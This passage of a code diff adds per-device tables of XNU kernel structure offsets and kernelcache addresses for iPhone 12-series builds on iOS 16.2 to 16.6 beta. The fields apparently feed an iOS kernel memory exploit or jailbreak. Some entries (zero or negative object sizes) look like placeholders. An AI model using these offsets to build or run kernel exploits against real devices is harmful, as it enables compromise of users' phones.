root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a4c5ab0, + .kernelcache__gPhysBase = 0xfffffff0079641b8, + .kernelcache__gPhysSize = 0xfffffff0079641b8 + 8, + .kernelcache__gVirtBase = 0xfffffff007962370, + .kernelcache__perfmon_devices = 0xfffffff00a505520, + .kernelcache__perfmon_dev_open = 0xfffffff007f1bd78, + .kernelcache__ptov_table = 0xfffffff0079179b8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a504910, + .kernelcache__vm_pages = 0xfffffff007914100, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007916958, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a504908, + .kernelcache__vn_kqfilter = 0xfffffff007f6a588 + }, + /**************** iPhone 12 Series ***********************/ + //iPhone 12 mini, iOS 16.6 beta 1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 0x8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x58, + .task__threads__prev = 0x60, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x360, + .thread__task_threads__prev = 0x368, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x0 + 0x10, //0x8 + ._vm_map__hdr__links__next = 0x8 + 0x10, //0x10 + ._vm_map__hdr__links__start = 0x10 + 0x10, //0x18 + ._vm_map__hdr__links__end = 0x18 + 0x10, //0x20 + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x98, + ._vm_map__hole_hint = 0xa0, + ._vm_map__holes_list = 0xa8, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a545ab0, + .kernelcache__gPhysBase = 0xfffffff0079442a8, + .kernelcache__gPhysSize = 0xfffffff0079442b0, //79442B0 + .kernelcache__gVirtBase = 0xfffffff007942460, + .kernelcache__perfmon_devices = 0xfffffff00a585550, + .kernelcache__perfmon_dev_open = 0xfffffff007f1508c, + .kernelcache__ptov_table = 0xfffffff0078f79c8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910, + .kernelcache__vm_pages = 0xfffffff0078f4108, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908, + .kernelcache__vn_kqfilter = 0xfffffff007f63be0, + }, + + //iPhone 12, iOS 16.2 + { + .kern_version = "Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x630, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0xfffffffffffffb40, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a3b1190, + .kernelcache__gPhysBase = 0xfffffff0078500c8, + .kernelcache__gPhysSize = 0xfffffff0078500c8 + 8, + .kernelcache__gVirtBase = 0xfffffff00784e2a8, + .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed41c4, + .kernelcache__ptov_table = 0xfffffff007803378, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800, + .kernelcache__vm_pages = 0xfffffff007800090, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802328, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f26780, + }, + + //iPhone 12, iOS 16.3 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x630, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0xfffffffffffffb40, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a3b1190, + .kernelcache__gPhysBase = 0xfffffff00784c1b0, + .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 8, + .kernelcache__gVirtBase = 0xfffffff00784a390, + .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4, + .kernelcache__ptov_table = 0xfffffff0077ff3b8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800, + .kernelcache__vm_pages = 0xfffffff0077fc0d0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f226a0, + }, + + //iPhone 12, iOS 16.3.1 + { + .kern_version = "Darwin Kernel Version 22.3.0: Wed Jan 4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0x0, + .proc__object_size = 0x538, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x630, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x418, + .thread__object_size = 0x4c0, + .uthread__object_size = 0xfffffffffffffb40, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a3b1190, + .kernelcache__gPhysBase = 0xfffffff00784c1b0, + .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 8, + .kernelcache__gVirtBase = 0xfffffff00784a390, + .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0, + .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4, + .kernelcache__ptov_table = 0xfffffff0077ff3b8, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800, + .kernelcache__vm_pages = 0xfffffff0077fc0d0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8, + .kernelcache__vn_kqfilter = 0xfffffff007f226a0, + }, + + //iPhone 12, iOS 16.4 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a491208, + .kernelcache__gPhysBase = 0xfffffff00792bfc0, + .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 8, + .kernelcache__gVirtBase = 0xfffffff00792a198, + .kernelcache__perfmon_devices = 0xfffffff00a4cf520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef064c, + .kernelcache__ptov_table = 0xfffffff0078df188, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990, + .kernelcache__vm_pages = 0xfffffff0078dbeb8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988, + .kernelcache__vn_kqfilter = 0xfffffff007f3f538, + }, + + //iPhone 12, iOS 16.4.1 + { + .kern_version = "Darwin Kernel Version 22.4.0: Mon Mar 6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a491208, + .kernelcache__gPhysBase = 0xfffffff00792bfc0, + .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 8, + .kernelcache__gVirtBase = 0xfffffff00792a198, + .kernelcache__perfmon_devices = 0xfffffff00a4cf520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef064c, + .kernelcache__ptov_table = 0xfffffff0078df188, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990, + .kernelcache__vm_pages = 0xfffffff0078dbeb8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988, + .kernelcache__vn_kqfilter = 0xfffffff007f3f538, + }, + + //iPhone 12, iOS 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0x0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a49d288, + .kernelcache__gPhysBase = 0xfffffff007930100, + .kernelcache__gPhysSize = 0xfffffff007930100 + 8, + .kernelcache__gVirtBase = 0xfffffff00792e2d8, + .kernelcache__perfmon_devices = 0xfffffff00a4db520, + .kernelcache__perfmon_dev_open = 0xfffffff007ef484c, + .kernelcache__ptov_table = 0xfffffff0078e3188, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4da990, + .kernelcache__vm_pages = 0xfffffff0078dfeb8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2128, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4da988, + .kernelcache__vn_kqfilter = 0xfffffff007f439d0, + }, + // iPhone 12 (pro), 16.6b1 + { + .kern_version = "Darwin Kernel Version 22.6.0: Tue May 9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 